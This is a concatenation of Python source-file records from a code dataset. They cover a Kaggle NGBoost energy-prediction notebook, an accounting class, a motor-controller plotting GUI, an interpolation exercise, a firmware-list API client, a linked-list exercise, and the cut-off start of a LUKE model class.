https://www.kaggle.com/gemartin/load-data-reduce-memory-usage by @gemartin\n\n# Modified to support timestamp type, categorical type\n\n# Modified to add option to use float16 or not. feather format does not support float16.\n\nfrom pandas.api.types import is_datetime64_any_dtype as is_datetime\n\nfrom pandas.api.types import is_categorical_dtype\n\n\n\ndef reduce_mem_usage(df, use_float16=False):\n\n \"\"\" iterate through all the columns of a dataframe and modify the data type\n\n to reduce memory usage. \n\n \"\"\"\n\n start_mem = df.memory_usage().sum() / 1024**2\n\n print('Memory usage of dataframe is {:.2f} MB'.format(start_mem))\n\n \n\n for col in df.columns:\n\n if is_datetime(df[col]) or is_categorical_dtype(df[col]):\n\n # skip datetime type or categorical type\n\n continue\n\n col_type = df[col].dtype\n\n \n\n if col_type != object:\n\n c_min = df[col].min()\n\n c_max = df[col].max()\n\n if str(col_type)[:3] == 'int':\n\n if c_min > np.iinfo(np.int8).min and c_max < np.iinfo(np.int8).max:\n\n df[col] = df[col].astype(np.int8)\n\n elif c_min > np.iinfo(np.int16).min and c_max < np.iinfo(np.int16).max:\n\n df[col] = df[col].astype(np.int16)\n\n elif c_min > np.iinfo(np.int32).min and c_max < np.iinfo(np.int32).max:\n\n df[col] = df[col].astype(np.int32)\n\n elif c_min > np.iinfo(np.int64).min and c_max < np.iinfo(np.int64).max:\n\n df[col] = df[col].astype(np.int64) \n\n else:\n\n if use_float16 and c_min > np.finfo(np.float16).min and c_max < np.finfo(np.float16).max:\n\n df[col] = df[col].astype(np.float16)\n\n elif c_min > np.finfo(np.float32).min and c_max < np.finfo(np.float32).max:\n\n df[col] = df[col].astype(np.float32)\n\n else:\n\n df[col] = df[col].astype(np.float64)\n\n else:\n\n df[col] = df[col].astype('category')\n\n\n\n end_mem = df.memory_usage().sum() / 1024**2\n\n print('Memory usage after optimization is: {:.2f} MB'.format(end_mem))\n\n print('Decreased by {:.1f}%'.format(100 * (start_mem - end_mem) / start_mem))\n\n \n\n return df\n#We need to install ngboost first ;-)\n\nfrom ngboost.ngboost import NGBoost\n\nfrom ngboost.learners import default_tree_learner\n\nfrom ngboost.scores import MLE\n\nfrom sklearn.metrics import mean_squared_error\n\nfrom ngboost.distns import Normal\npath = '/kaggle/input/ashrae-feather-format-for-fast-loading/'\n\nfiles = os.listdir(path)\n\nprint(files)\nfiles = ['building_metadata.feather','test.feather','weather_test.feather','weather_train.feather','train.feather','sample_submission.feather']\n\nbmeta = pd.read_feather(path+files[0])\n\ntest = pd.read_feather(path+files[1])\n\nwtest = pd.read_feather(path+files[2])\n\nwtrain = pd.read_feather(path+files[3])\n\ntrain = pd.read_feather(path+files[4])\ntest['is_train'] = 0\n\ntrain['is_train'] = 1\n\nwtotal = pd.concat([wtrain,wtest], ignore_index=True)\n\ntotal = pd.concat([train,test],ignore_index=True)\n\np_u = bmeta['primary_use'].unique().astype(str)\n\np_u_dict={i :idx for idx,i in enumerate(p_u)}\n\nbmeta.primary_use = bmeta.primary_use.map(p_u_dict)\n\nbmeta.primary_use = bmeta.primary_use.astype(int)\n\ntotal = total.merge(bmeta[['site_id','building_id','primary_use','square_feet']], on='building_id',how='left')\n\ntimestamp = total.groupby(['site_id','timestamp'],as_index=False).mean()[['site_id','timestamp']]\n\nwtotal = timestamp.merge(wtotal,on=['site_id','timestamp'],how='left')\n\n#Interpolation (nearest) -> (backward fill)\n\nfor i in tqdm(wtotal.site_id.unique()):\n\n wtotal.update(wtotal.loc[wtotal.site_id==i].interpolate('nearest',limit_direction='both'))\n\n wtotal.update(wtotal.loc[wtotal.site_id==i].fillna(method='bfill'))\n\ntotal = total.merge(wtotal, on=['site_id','timestamp'],how='left')\n\ntotal['M'] = total.timestamp.dt.month\n\ntotal['D'] = total.timestamp.dt.dayofweek\n\ntotal['H'] = total.timestamp.dt.hour\n\ntotal['Q'] = total.timestamp.dt.quarter\n\ntotal['W'] = total.timestamp.dt.week\n\ntotal = reduce_mem_usage(total)\ntrain = total.loc[total.is_train==1]\n\ntest = total.loc[total.is_train==0]\n\ntrain['log1p_meter_reading'] = np.log1p(train.meter_reading)\n\ntrain = train.query('not (building_id <= 104 & meter == 0 & timestamp <= \"2016-05-20\")')\ntrain.columns\n# Select features to use for training.\n\ntg = ['log1p_meter_reading']\n\ndo_not_use = tg + ['meter','is_train'\n\n ,'timestamp'\n\n ,'meter_reading'\n\n ,'cloud_coverage'\n\n ,'precip_depth_1h'\n\n ,'sea_level_pressure'\n\n ,'precip_depth_1_hr'\n\n ,'row_id'\n\n ,'wind_direction']\n\ncols = [c for c in train.columns if c not in do_not_use]\nprint('NULL CHECKING')\n\nprint('#####Train#####')\n\nprint(train[cols].isnull().sum())\n\nprint('#####Test#####')\n\nprint(test[cols].isnull().sum())\ndel total\n\ndel wtrain\n\ndel wtest\n\ndel bmeta\ndef Ngboost_training(df,tdf,meter):\n\n folds = 2\n\n seed = 7\n\n shuffle = False\n\n kf = StratifiedKFold(n_splits = folds, shuffle=shuffle , random_state=seed)\n\n #Down-sampling\n\n df = df.loc[(df.meter==meter)&(df.H==0)]\n\n tdf = tdf.loc[tdf.meter==meter]\n\n prediction = np.zeros(tdf.shape[0])\n\n i = 0\n\n ngb = NGBoost(n_estimators=50, learning_rate=0.4,\n\n Dist=Normal,\n\n Base=default_tree_learner,\n\n natural_gradient=True,\n\n minibatch_frac=0.6,\n\n Score=MLE(),verbose=False)\n\n for tr,val in tqdm(kf.split(df, df['building_id']),total=folds):\n\n print(f'fold:{i+1}')\n\n i+=1\n\n print(f'Target : {tg[0]}// Meter : {meter}// # of features : {len(cols)}')\n\n print(f'Train_size : {len(tr)} Validation_size : {len(val)}')\n\n \n\n ngb.fit(df[cols].iloc[tr].values, df[tg[0]].iloc[tr].values)\n\n \n\n Y_preds = ngb.predict(df[cols].values)\n\n Y_dists = ngb.pred_dist(df[cols].values)\n\n \n\n MSE = mean_squared_error(Y_preds, df[tg[0]].values)\n\n print('MSE : ', MSE)\n\n NLL = -Y_dists.logpdf(df[tg[0]].values.flatten()).mean()\n\n print('NLL(Negative Log Likelihood)', NLL)\n\n \n\n #Test Prediction\n\n test_preds = ngb.predict(tdf[cols].values)\n\n print(f'Predicted Size : {len(test_preds)}')\n\n prediction += test_preds\n\n gc.collect()\n\n prediction = prediction/folds\n\n print('End')\n\n return prediction,ngb\nsub = pd.read_feather('/kaggle/input/ashrae-feather-format-for-fast-loading/sample_submission.feather')\nsub.head()\npred0,ngb0 = Ngboost_training(train,test,0)\n\ngc.collect()\n\ntest.loc[test['meter'] == 0, 'meter_reading'] = np.clip(np.expm1(pred0), a_min=0, a_max=None)\n\npred1,ngb1 = Ngboost_training(train,test,1)\n\ngc.collect()\n\ntest.loc[test['meter'] == 1, 'meter_reading'] = np.clip(np.expm1(pred1), a_min=0, a_max=None)\n\npred2,ngb2 = Ngboost_training(train,test,2)\n\ngc.collect()\n\ntest.loc[test['meter'] == 2,'meter_reading'] = np.clip(np.expm1(pred2), a_min=0, a_max=None)\n\npred3,ngb3 = Ngboost_training(train,test,3)\n\ngc.collect()\n\ntest.loc[test['meter'] == 3, 'meter_reading'] = np.clip(np.expm1(pred3), a_min=0, a_max=None)\nsub['meter_reading'] = test['meter_reading'].values\n\nsub.to_csv('submission.csv', index=False, float_format='%.4f')\nsub.head(10)\nsub.describe().astype(int)\nprint('Meter 0')\n\ntest.loc[test.meter==0][['timestamp','meter_reading']].set_index('timestamp').resample('H').meter_reading.mean().plot()\nprint('Meter 1')\n\ntest.loc[test.meter==1][['timestamp','meter_reading']].set_index('timestamp').resample('H').meter_reading.mean().plot()\nprint('Meter 2')\n\ntest.loc[test.meter==2][['timestamp','meter_reading']].set_index('timestamp').resample('H').meter_reading.mean().plot()\nprint('Meter 3')\n\ntest.loc[test.meter==3][['timestamp','meter_reading']].set_index('timestamp').resample('H').meter_reading.mean().plot()","repo_name":"aorursy/new-nb-3","sub_path":"hanjoonchoe_ashrae-ngboost-simple-application.py","file_name":"hanjoonchoe_ashrae-ngboost-simple-application.py","file_ext":"py","file_size_in_byte":8982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74601266601","text":"import sqlite3\r\n\r\nclass Liabilities:\r\n liabilities={}\r\n liabilities_id=\"L000\"\r\n def __init__(self,id,title,debit,credit,debit_balance,credit_balance):\r\n Liabilities.liabilities_id= id\r\n self.id=id\r\n self.title=title\r\n self.debit = debit\r\n self.credit = credit\r\n self.debit_balance = debit_balance\r\n self.credit_balance = credit_balance\r\n Liabilities.liabilities[self.id]=self\r\n\r\n @classmethod\r\n def create_object(cls,type):\r\n def assign_id():\r\n x=list(Liabilities.liabilities_id)\r\n y=x[1]+x[2]+x[3]\r\n y=int(y)\r\n y+=1\r\n if len(str(y))==1:\r\n y='0'+'0'+str(y)\r\n elif len(str(y))==2:\r\n y='0'+str(y)\r\n f=x[0]+str(y)\r\n return f\r\n id= assign_id()\r\n # type=input(\"Enter Liability type: \")\r\n return cls(id,type.title(),\"0\",\"0\",\"0\",\"0\")\r\n\r\n def update_debit(self,x):\r\n self.debit=x\r\n conn = sqlite3.connect(\"accounts_db.db\")\r\n d = conn.cursor()\r\n d.execute((\"Update Liability SET debit = ? WHERE id =?\"), (x, self.id))\r\n conn.commit()\r\n self.update_debit_credit_balance()\r\n d.close()\r\n\r\n def update_credit(self,x):\r\n self.credit=x\r\n conn = sqlite3.connect(\"accounts_db.db\")\r\n d = conn.cursor()\r\n d.execute((\"Update Liability SET credit = ? WHERE id =?\"), (x, self.id))\r\n conn.commit()\r\n self.update_debit_credit_balance()\r\n d.close()\r\n\r\n def update_debit_credit_balance(self):\r\n debit_value= int(Liabilities.liabilities[self.id].debit)\r\n credit_value=int(Liabilities.liabilities[self.id].credit)\r\n if debit_value>credit_value:\r\n insert_value=debit_value-credit_value\r\n Liabilities.liabilities[self.id].debit_balance = insert_value\r\n Liabilities.liabilities[self.id].credit_balance = 0\r\n conn = sqlite3.connect(\"accounts_db.db\")\r\n d = conn.cursor()\r\n d.execute((\"Update Liability SET debit_balance = ? WHERE id =?\"), (insert_value, self.id))\r\n d.execute((\"Update Liability SET credit_balance=0 WHERE id=?\"),(self.id,))\r\n conn.commit()\r\n d.close()\r\n else:\r\n insert_value=credit_value-debit_value\r\n Liabilities.liabilities[self.id].debit_balance = 0\r\n Liabilities.liabilities[self.id].credit_balance = insert_value\r\n conn = sqlite3.connect(\"accounts_db.db\")\r\n d = conn.cursor()\r\n d.execute((\"Update Liability SET credit_balance = ? WHERE id =?\"), (insert_value, self.id))\r\n d.execute((\"Update Liability SET debit_balance=0 WHERE id=?\"), (self.id,))\r\n conn.commit()\r\n d.close()\r\n @classmethod\r\n def delete_objects(cls):\r\n for k,v in Liabilities.liabilities.items():\r\n Liabilities.liabilities.pop(k,None)","repo_name":"Usmanfawad/Financial-software-Python-","sub_path":"liability.py","file_name":"liability.py","file_ext":"py","file_size_in_byte":2963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"20032481379","text":"#%%\nimport pyqtgraph as pg\nfrom PyQt5.QtWidgets import QApplication, QGridLayout, QVBoxLayout, QHBoxLayout, QWidget, QPushButton, QLineEdit, QSlider\nfrom PyQt5.QtCore import QObject, pyqtSignal\nfrom pyqtgraph.parametertree import Parameter, ParameterTree\nfrom pyqtgraph.Qt import QtCore, QtWidgets\n\npg.setConfigOption('background', 'w')\npg.setConfigOption('foreground', 'k')\n\napp = QApplication([])\nwin = pg.GraphicsLayoutWidget()\nlayout = QVBoxLayout()\n\nplot1 = pg.plot()\nplot2 = pg.plot()\nplot3 = pg.plot()\n\nplot1.showGrid(x = True, y = True, alpha = 0.3) \nplot2.showGrid(x = True, y = True, alpha = 0.3) \nplot3.showGrid(x = True, y = True, alpha = 0.3) \n\nplot2.setXLink(plot1)\nplot3.setXLink(plot1)\n\nmaxdata = 1000\n\nplot1.plotItem.getViewBox().setMouseMode(pg.ViewBox.RectMode)\nplot2.plotItem.getViewBox().setMouseMode(pg.ViewBox.RectMode)\nplot3.plotItem.getViewBox().setMouseMode(pg.ViewBox.RectMode)\nplot1.setXRange(0,maxdata)\nplot2.setXRange(0,maxdata)\nplot3.setXRange(0,maxdata)\n\nlayout.addWidget(plot1)\nlayout.addWidget(plot2)\nlayout.addWidget(plot3)\n\ncol = [[0, 114.4320, 189.6960],\n[217.6000, 83.2000, 25.0880],\n[237.8240, 177.6640, 32.0000],\n[126.4640, 47.1040, 142.3360],\n[119.2960, 172.5440, 48.1280],\n[77.0560, 190.7200, 238.8480],\n[162.5600, 19.9680, 47.1040],\n[0, 114.4320, 189.6960]]\n\nwidth = 1\ncurve1a = plot1.plot(pen=pg.mkPen(color=col[0], width=width))\ncurve1b = plot1.plot(pen=pg.mkPen(color=col[1], width=width))\ncurve1c = plot1.plot(pen=pg.mkPen(color=col[2], width=width))\ncurve1d = plot1.plot(pen=pg.mkPen(color=col[3], width=width))\ncurve2a = plot2.plot(pen=pg.mkPen(color=col[0], width=width))\ncurve2b = plot2.plot(pen=pg.mkPen(color=col[1], width=width))\ncurve3a = plot3.plot(pen=pg.mkPen(color=col[0], width=width))\ncurve3b = plot3.plot(pen=pg.mkPen(color=col[1], width=width))\ncurve3c = plot3.plot(pen=pg.mkPen(color=col[2], width=width))\n\n\n# win.showFullScreen()\n\nimport threading\nfrom collections import deque\n\ny1a = deque()\ny1b = deque()\ny1c = deque()\ny1d = deque()\ny2a = deque()\ny2b = deque()\ny3a = deque()\ny3b = deque()\ny3c = deque()\n\ndef update(data1 , data2 , data3, data4 , data5 , data6 , data7 , data8 , data9 ):\n y1a.extend( [data1] )\n y1b.extend( [data2] )\n y1c.extend( [data3] )\n y1d.extend( [data4] )\n y2a.extend( [data5] )\n y2b.extend( [data6] )\n y3a.extend( [data7] )\n y3b.extend( [data8] )\n y3c.extend( [data9] )\n while len(y1a) > maxdata:\n y1a.popleft() #remove oldest\n y1b.popleft() #remove oldest\n y1c.popleft() #remove oldest\n y1d.popleft() #remove oldest\n y2a.popleft() #remove oldest\n y2b.popleft() #remove oldest\n y3a.popleft() #remove oldest\n y3b.popleft() #remove oldest\n y3c.popleft() #remove oldest\n curve1a.setData( y=y1a)\n curve1b.setData( y=y1b)\n curve1c.setData( y=y1c)\n curve1d.setData( y=y1d)\n curve2a.setData( y=y2a)\n curve2b.setData( y=y2b)\n curve3a.setData( y=y3a)\n curve3b.setData( y=y3b)\n curve3c.setData( y=y3c)\n return\n\nclass Thread(pg.QtCore.QThread):\n def startdata(self, signals):\n signals = setTrace(signals)\n global dtypestrace, buffer\n dtypestrace = [dtypes[j] for j in ser.signals]\n buffer = bytearray(int(ser.tracebytes ))\n # setpar('motor.conf.Ndownsample' , int( 1/Ts ))\n self.stopdata()\n setpar('motor.conf.Ndownsample' , int( 0.01/Ts ))\n ser.write(b'b' + struct.pack('I', int(2**32-1)))\n \n def stopdata(self):\n ser.write(b'b' + struct.pack('I', int(0)))\n ser.flushInput()\n \n def resume(self):\n ser.write(b'b' + struct.pack('I', int(2**32-1))) \n \n # newData = pg.QtCore.Signal(object)\n newData = pg.QtCore.Signal(float , float , float , float , float , float, float , float, float)\n def run(self):\n while not win.isHidden():\n while ser.in_waiting < len(buffer):\n bla = 1\n ser.readinto(buffer)\n arr = np.ndarray(1, dtype=dtypestrace, buffer=buffer)\n # self.newData.emit( self.arr[0][0] , self.arr[0][1] , self.arr[0][2] , self.arr[0][3] , self.arr[0][4] , self.arr[0][5] ) # <- Here you emit a signal!\n self.newData.emit(arr[0][0],arr[0][1],arr[0][2],arr[0][3],arr[0][4],arr[0][5],arr[0][6],arr[0][7],arr[0][8] )\n # self.newData.emit( self.arr[0] ) # <- Here you emit a signal!\n # print( self.arr[0][0] )\n self.stopdata()\n \n\n\n\n\ndf = readall()\n\nparams = list()\nfor i in np.argsort( signames):\n if sigtypes[i] == 'f':\n sertype = 'float'\n if sigtypes[i] == 'b':\n sertype = 'bool'\n if sigtypes[i] == 'i':\n sertype = 'int'\n if sigtypes[i] == 'I':\n sertype = 'int'\n if not (type(df[signames[i]][0]) == np.ndarray):\n params.append( {'name' : signames[i] , 'type': sertype , 'value': df[signames[i]][0] } ) \n \n_params = Parameter.create(name='params', type='group', children=params)\n# _params = Parameter.create(name='params', children=params)\n\nchanges_ready_to_transmit = 0\nglobal totalchanges\ntotalchanges = []\n\ndef _enable_apply( param, changes):\n print(\"tree changes:\")\n for param, change, data in changes:\n path = _params.childPath(param)\n if path is not None:\n childName = \".\".join(path)\n else:\n childName = param.name()\n print(\" parameter: %s\" % childName)\n print(\" change: %s\" % change)\n print(\" data: %s\" % str(data))\n print(\" ----------\")\n global totalchanges\n totalchanges.append( changes )\n global changes_ready_to_transmit\n changes_ready_to_transmit = 1\n apply_btn.setStyleSheet(\"background-color: green\")\n return\n\n\ndef update_tree():\n thread.stopdata()\n df = readall()\n thread.resume()\n params = list()\n for i in range(len(signames)):\n if sigtypes[i] == 'f':\n sertype = 'float'\n if sigtypes[i] == 'b':\n sertype = 'bool'\n if sigtypes[i] == 'i':\n sertype = 'int'\n if sigtypes[i] == 'I':\n sertype = 'int'\n params.append( {'name' : signames[i] , 'type': sertype , 'value': df[signames[i]][0] } ) \n # _params = Parameter.create(name='params', type='group', children=params)\n # _params.setValue( params )\n _params.sigTreeStateChanged.disconnect()\n for param in _params:\n param.setValue( df[param.name()][0] )\n _params.sigTreeStateChanged.connect(_enable_apply)\n changes_ready_to_transmit = 0\n apply_btn.setStyleSheet(\"background-color: grey\")\n totalchanges.clear()\n # t.setParameters(_params, showTop=False)\n\ndef apply_parameters():\n\n global changes_ready_to_transmit\n global totalchanges\n \n if changes_ready_to_transmit:\n print(\"Writing params'\")\n for change in totalchanges:\n for param, change, data in change:\n path = _params.childPath(param)\n if path is not None:\n childName = \".\".join(path)\n else:\n childName = param.name()\n print(\" parameter: %s\" % childName)\n print(\" change: %s\" % change)\n print(\" data: %s\" % str(data))\n print(\" ----------\")\n setpar( childName , data )\n apply_btn.setStyleSheet(\"background-color: grey\")\n totalchanges = []\n changes_ready_to_transmit = 0\n return\n\n_params.sigTreeStateChanged.connect(_enable_apply)\n\nt = ParameterTree()\nt.setParameters(_params, showTop=False)\n\n\n\nlayout2 = QVBoxLayout()\nlayout2.addWidget(t)\n\nlayout3 = QHBoxLayout()\nupdate_btn = QtWidgets.QPushButton('Update')\nupdate_btn.clicked.connect( update_tree )\nupdate_btn.setStyleSheet(\"background-color: green\")\nlayout3.addWidget( update_btn)\n\napply_btn = QtWidgets.QPushButton('Apply Changes')\napply_btn.clicked.connect(apply_parameters)\napply_btn.setStyleSheet(\"background-color: grey\")\nlayout3.addWidget( apply_btn)\n\nlayout2.addLayout( layout3)\n\nlayouttot = QHBoxLayout()\nlayouttot.addLayout( layout2)\nlayouttot.addLayout( layout)\n\nwin.resize( 1000, 700)\nwin.setLayout(layouttot)\nwin.show()\n\nthread = Thread()\nthread.newData.connect(update)\nthread.start()\n\n\n\n\nthread.startdata( [ 'motor.state1.Id_SP', 'motor.state1.Iq_SP', 'motor.state1.Id_meas', 'motor.state1.Iq_meas', 'motor.state1.encoderPos1', 'motor.state1.encoderPos2','motor.state1.Vd','motor.state1.Vq','motor.state1.maxVolt'] )\n# thread.startdata( [ 'motor.state1.Id_SP', 'motor.state1.Iq_SP', 'motor.state1.Id_meas', 'motor.state1.Iq_meas', 'motor.state1.thethaPark', 'motor.state1.encoderPos2','motor.state1.Vd','motor.state1.Vq','motor.state1.maxVolt'] )\n\n\n\n#%%\n\nsignames[0].split('.')\n\n\n\nfrom _buildParamTypes import makeAllParamTypes\nfrom PyQt5.QtWidgets import QApplication, QGridLayout, QVBoxLayout, QHBoxLayout, QWidget, QPushButton, QLineEdit, QSlider\n\nimport pyqtgraph as pg\nfrom pyqtgraph.Qt import QtWidgets\n\napp = pg.mkQApp(\"Parameter Tree Example\")\nimport pyqtgraph.parametertree.parameterTypes as pTypes\nfrom pyqtgraph.parametertree import Parameter, ParameterTree\n\nparams = [\n {'name': 'Save/Restore functionality', 'type': 'group', 'children': [\n {'name': 'Save State', 'type': 'action'},\n ]},\n {'name': 'test', 'type': 'group', 'children': [\n {'name': 'Save State', 'type': 'action'},\n {'name': 'Restore State', 'type': 'action', 'children': [\n {'name': 'Add missing items', 'type': 'bool', 'value': True},\n {'name': 'Remove extra items', 'type': 'bool', 'value': True},\n ]},\n ]},\n]\n\n## Create tree of Parameter objects\np = Parameter.create(name='params', type='group', children=params)\n\nt = ParameterTree()\nt.setParameters(p, showTop=False)\nt.setWindowTitle('pyqtgraph example: Parameter Tree')\n\n\nwin = QtWidgets.QWidget()\nlayout = QtWidgets.QGridLayout()\nwin.setLayout(layout)\nlayout.addWidget(QtWidgets.QLabel(\"These are two views of the same data. They should always display the same values.\"), 0, 0, 1, 2)\nlayout.addWidget(t, 1, 0, 1, 1)\nwin.show()\n","repo_name":"ElwinBoots/Teensy_DualMotorBoard_V1","sub_path":"GraphAndTree.py","file_name":"GraphAndTree.py","file_ext":"py","file_size_in_byte":10195,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"18"} +{"seq_id":"40237507328","text":"import numpy as np\nfrom interpol1d import polinterpol, tschebyscheff, splineinterpol\nimport matplotlib.pyplot as plt\n\n\n# Teilaufgabe a)\ndef eval_runge(n: int = 3):\n def runge(_x):\n \"\"\"runge-funktion: https://en.wikipedia.org/wiki/Runge%27s_phenomenon\"\"\"\n return 1 / (1 + _x ** 2)\n # Parameterwahl\n realX = np.linspace(-5, 5, n) # aequidistante Stuetzstellen im Intervall [-5, 5]\n xi = tschebyscheff(-5, 5, realX) # wahl der tschebyscheff stützpunkte\n yi = runge(xi) # auswertung mit Funktion für Stuezstellen\n\n x = np.linspace(np.min(xi), np.max(xi), 100) # zu interpolierende werte\n\n # Polynominterpolation mit Newton-Basis\n out_newton = polinterpol(x, xi, yi)\n # Splineinterpolation mit natürlichen Splines\n out_spline = splineinterpol(x, xi, yi)\n\n # Darstellung\n plt.rcParams.update({'font.size': 14})\n plt.plot(xi, yi, '*', label='Stützwerte', linewidth=2, markersize=10)\n plt.plot(x, out_newton, label='Newton-Basis', linewidth=2)\n plt.plot(x, out_spline, label='Natürliche Splines', linewidth=2)\n plt.legend(loc='upper right')\n plt.xlabel('x')\n plt.ylabel('y')\n plt.title(f'Rungefunktion $f(x) = 1/(1+x^2)$ mit {len(realX)} Stützstellen')\n plt.show()\n\n\n\ndef eval_big_O(n: int = 3):\n def runge(_x):\n \"\"\"runge-funktion: https://en.wikipedia.org/wiki/Runge%27s_phenomenon\"\"\"\n return 1 / (1 + _x ** 2)\n # Parameterwahl\n realX = np.linspace(-5, 5, n) # aequidistante Stuetzstellen im Intervall [-5, 5]\n xi = tschebyscheff(-5, 5, realX) # wahl der tschebyscheff stützpunkte\n yi = runge(xi) # auswertung mit Funktion für Stuezstellen\n\n x = np.linspace(np.min(xi), np.max(xi), 100) # zu interpolierende werte\n\n # Splineinterpolation mit natürlichen Splines\n out_spline = splineinterpol(x, xi, yi)\n \n err[int(n/3)-1] = np.linalg.norm(out_spline-runge(x), np.inf)\n\n\n\nif __name__ == '__main__':\n\n # 2a)\n \n for i in range(3, 21, 3):\n eval_runge(i)\n\n # 2b)\n\n n = 150\n\n err = np.zeros(n)\n \n for i in range(len(err-2)):\n eval_big_O(i*3+3)\n\n\n # Darstellung\n plt.rcParams.update({'font.size': 14})\n plt.semilogy(err)\n x = np.flip(np.linspace(3, n, 30))\n #plt.xlim(3, n)\n #plt.legend(loc='upper right')\n plt.xlabel('# Stützstellen')\n plt.ylabel('Fehler')\n plt.show()\n ","repo_name":"philsupertramp/interpol1d","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2356,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"19476579602","text":"#!/usr/bin/env python3\n\n# Yes, 3utools does not need any API key how excellent and polite!\n# Let's build something beautiful out of the API, definitly not this crappy script I wrote in a minute.\n\nimport os\nimport sys\nimport requests\n\nclass TreeUAPI:\n def __init__(self):\n self.apibase = 'http://app.pcres.3u.com/'\n self.actions = ['firmware_list', 'firmware_iosVersion']\n \n def firmware_list(self, model='', fs='', seltype='', ios=''):\n url = self.apibase + 'firmware_list.action?'\n if model != '':\n url += '&model=' + str(model)\n \n if fs != '':\n url += '&fs=' + str(fs)\n \n if seltype != '':\n url += '&seltype=' + str(seltype)\n \n if ios != '':\n url += '&ios=' + str(ios)\n \n response = requests.get(url)\n print(response.text)\n \n","repo_name":"userlandkernel/Reversing3utools","sub_path":"scripts/3utoolsapi/python/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"18"} +{"seq_id":"26182348694","text":"class Node:\n def __init__(self, data=None):\n self.data = data #значення списку\n self.next = None # посилання на наступне значення\n\n\nclass LinkedList:\n def __init__(self):\n self.tail = None\n self.head = None\n\n def append(self, data):\n \"\"\"додае єлемент у кінець списку\"\"\"\n new_node = Node(data)\n if self.head is None: #якщо голова пуста, тоді значення додаеться до списку\n self.head = new_node\n else:\n current = self.head #поточний елемент\n while current.next: #поки current.next не None\n current = current.next #переміщаемо поточний елемент\n current.next = new_node # коли прийш\n\n def add_to_head(self, data):\n \"\"\"Додати елемент до списку на початок\"\"\"\n new_node = Node(data)\n if self.head is None:\n self.head = new_node\n self.tail = new_node\n else:\n new_node.next = self.head\n self.head = new_node\n\n def insert_after(self, target_data, data):\n \"\"\"Вставити новий елемент із деяким значенням безпосередньо після елемента із даними, що є у списку\"\"\"\n new_node = Node(data)\n current = self.head\n while current:\n if current.data == target_data:\n new_node.next = current.next\n current.next = new_node\n break\n current = current.next\n\n def delete_last_node(self):\n \"\"\"Видалити елемент з хвоста списку\"\"\"\n if not self.head: #якшо список потожній, нічого неповертаемо\n return\n if not self.head.next: #Якщо у списку є лише один елемент, то він видаляється шляхом призначення\n self.head = None\n return\n\n current = self.head # ніціалізуємо змінну current значенням self.head, щоб почати перебір списку з початку.\n while current.next.next: #продовжуватися, поки current має наступний елемент після поточного.\n current = current.next #У кожній ітерації циклу ми переходимо до наступного елементу\n\n current.next = None #Коли цикл завершується, ми призначаємо None останньому вузлу\n\n def delet_first_node(self):\n \"\"\"Видалити елемент з голови списку\"\"\"\n current = self.head\n if self.head is None:\n print('Немає элементів для видалення')\n else:\n self.head = current.next\n\n def delete_value(self, target_data, delete_all=False):\n \"\"\"Видалити елемент із деяким значенням у списку (задається яке значення та кількість можливих видалень, бо у списку дані можуть повторюватись). \"\"\"\n if not self.head:\n return\n while self.head and self.head.data == target_data:\n self.head = self.head.next\n\n current = self.head\n while current and current.next:\n if current.next.data == target_data:\n current.next = current.next.next\n if not delete_all:\n break\n else:\n current = current.next\n\n def replace_value(self, old_data, new_data, replace_all=False):\n \"\"\"Замінити значення у списку на нове значення (користувач визначає, чи замінити тільки перше входження чи всі)\"\"\"\n current = self.head\n while current:\n if current.data == old_data:\n current.data = new_data\n if not replace_all:\n break\n current = current.next\n\n def size(self):\n \"\"\"Визначте розмір списку\"\"\"\n count = 0\n current = self.head\n while current:\n count += 1\n current = current.next\n return count\n\n\n def display(self): #метод для відображення списку\n current = self.head #визначаемо перший єлемент списку поточним\n while current: # поки current не = None\n print(current.data, end=\" -> \")\n current = current.next # переміщуемо current на наступний єлемент\n print(\"None\")\n\n\nmy_list = LinkedList() #створюємо список\n\n\ndef display_menu():\n print()\n print(\"Меню:\")\n print(\"1. Додати елемент у хвіст списку\")\n print(\"2. Додати елемент до списку на початок\")\n print(\"3. Вставити новий елемент після певного значення\")\n print(\"4. Видалити елемент з хвоста списку\")\n print(\"5. Видалити елемент з голови списку\")\n print(\"6. Видалити елемент за значенням\")\n print(\"7. Замінити значення в списку\")\n print(\"8. Визначити розмір списку\")\n print(\"9. Показати вміст списку\")\n print(\"0. Вийти\")\n\n\nwhile True:\n display_menu()\n choice = int(input(\"Виберіть опцію: \"))\n\n if choice == 1:\n value = input(\"Введіть елемент, який Ви хочете додати у хвіст списку: \")\n my_list.append(value)\n elif choice == 2:\n value = input(\"Введіть елемент, який Ви хочете додати у голову списку: \")\n my_list.add_to_head(value)\n elif choice == 3:\n value = input(\"Введіть значення, після якого потрібно вставити новий елемент: \")\n new_element = input(\"Введіть новий елемент: \")\n my_list.insert_after(value, new_element)\n elif choice == 4:\n my_list.delete_last_node()\n print(f'Отанній елемент видалено з списку')\n elif choice == 5:\n my_list.delet_first_node()\n print(f'Перший елемент видалено з списку')\n elif choice == 6:\n value = input(\"Введіть значення для видалення: \")\n delete_all = input(\"Видалити всі входження цього значення? (y/n): \").lower()\n my_list.delete_value(value, delete_all == 'y')\n elif choice == 7:\n old_data = input(\"Введіть старе значення: \")\n new_data = input(\"Введіть нове значення: \")\n replace_all = input(\"Замінити всі входження цього значення? (y/n): \").lower()\n my_list.replace_value(old_data, new_data, replace_all == 'y')\n elif choice == 8:\n print(f\"Розмір списку = {my_list.size()}\")\n elif choice == 9:\n print(f\"Вміст списку: {my_list.display()}\")\n elif choice == '0':\n break\n else:\n print(\"Невірний вибір. Спробуйте ще раз.\")\n","repo_name":"Vanooo64/itstep_OOPs","sub_path":"hw/63_Linked_lists/Linked_lists.py","file_name":"Linked_lists.py","file_ext":"py","file_size_in_byte":7726,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31643888075","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\nfrom luke.model import LukeEntityAwareAttentionModel\n\n\nclass LukeForRelationClassification(LukeEntityAwareAttentionModel):\n def 